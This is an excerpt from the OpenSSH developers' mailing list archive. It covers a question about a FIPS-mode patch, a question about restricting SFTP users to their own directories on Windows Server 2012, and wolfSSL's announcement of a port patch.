Message-ID: <CAC5owtGiT28M1bxmu6dWeH8qojaRhQA4FtKxbPFfv1uc=jJmGw@mail.gmail.com>

Thanks Jakub.

With this patch, would both the SSH server side (e.g. sshd) and client side
(e.g. ssh, scp, ssh-keygen) applications be operating with OpenSSL FIPS
mode?

Thanks a lot for your answers.

On Thu, Jan 28, 2016 at 12:12 AM, Jakub Jelen <jjelen at redhat.com> wrote:

> On 01/28/2016 03:12 AM, security veteran wrote:
>
>> I have one question regarding the FIPS patch in
>>
>> http://pkgs.fedoraproject.org/cgit/openssh.git/tree/openssh-6.7p1-fips.patch
>> :
>>
>> I assume somewhere from within the OpenSSH code it should invoke
>> FIPS_set_mode API, but all I saw was FIPS_mode().
>> Does FIPS_mode() serve the same purposes as  FIPS_set_mode()?
>>
> FIPS_mode() is openssl function [1]. As manual page says, it determines if
> the FIPS mode is enabled. The other function FIPS_mode_set() [2] is used to
> modify FIPS status (enables/disables).
>
> Openssh itself should not change the FIPS mode. It should behave according
> to the system setup (FIPS mode should be set up system-wide).
>
>> Also the patch is for OpenSSH 7.0. Is there a patch for OpenSSH 6.6?
>>
> You should be able to go back in the git history to 6.6 version or put
> hands on CentOS patches [3], where we use 6.6 version.
>
> [1] https://wiki.openssl.org/index.php/FIPS_mode%28%29
> [2] https://wiki.openssl.org/index.php/FIPS_mode_set%28%29
> [3]
> https://git.centos.org/blob/rpms!openssh/6745269c7b486c1c096ca27e0c1aa97fe8b03c60/SOURCES!openssh-6.6p1-fips.patch;jsessionid=f8qjnilsd281oo2uwua8fm17
>
> Regards,
>
> --
> Jakub Jelen
> Associate Software Engineer
> Security Technologies
> Red Hat
>
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
>

From tan_z_w at yahoo.com.sg  Sun Jan 31 21:17:41 2016
From: tan_z_w at yahoo.com.sg (Tan Zi Wei)
Date: Sun, 31 Jan 2016 10:17:41 +0000 (UTC)
Subject: [How-To Question] Restrict users to a specific directory on Windows
 2012 server
References: <27532443.2419036.1454235461603.JavaMail.yahoo.ref@mail.yahoo.com>
Message-ID: <27532443.2419036.1454235461603.JavaMail.yahoo@mail.yahoo.com>

Hi OpenSSH Developers,
Good day to you.?
I had installed the latest OpenSSH SFTP server onto a Windows 2012 R2 server. Everything works flawlessly until I encountered this problem. I am not sure how to configure a "home" directory to each individual users so that when they login, they can only see their own folder and cannot browse other folders at all. Tried to use the "Match User" option but it will also default to "C:\Users\<username>" folder. Can you advise how I can restrict users from browsing and can only see their own folder which is located on D:\Users\<username>?
Many thanks in advance.
Tan

From kaleb at wolfssl.com  Tue Jan  5 08:52:51 2016
From: kaleb at wolfssl.com (Kaleb Himes)
Date: Mon, 04 Jan 2016 21:52:51 -0000
Subject: wolfSSL port to OpenSSH patch
Message-ID: <CAMB3dQUZ8vWpE1uA_5WiQrT05DUw_RTYp5g5V2sTFZ2F56_XJA@mail.gmail.com>

Greetings Damien and community,


We have submitted a pull request to your repository for public notification
purposes. We are aware you do not merge these and of your code-submission
process via the README.

As such we are sending you a patch of our port against your latest changes:

commit 271df8185d9689b3fb0523f58514481b858f6843

Author: djm at openbsd.org <djm at openbsd.org>

Date:   Sun Dec 13 22:42:23 2015 +0000


We look forward to any feedback on this submission. If there are any issues
with the patch file itself please let me know as soon as possible.


Our Sincerest regards,

The wolfSSL Team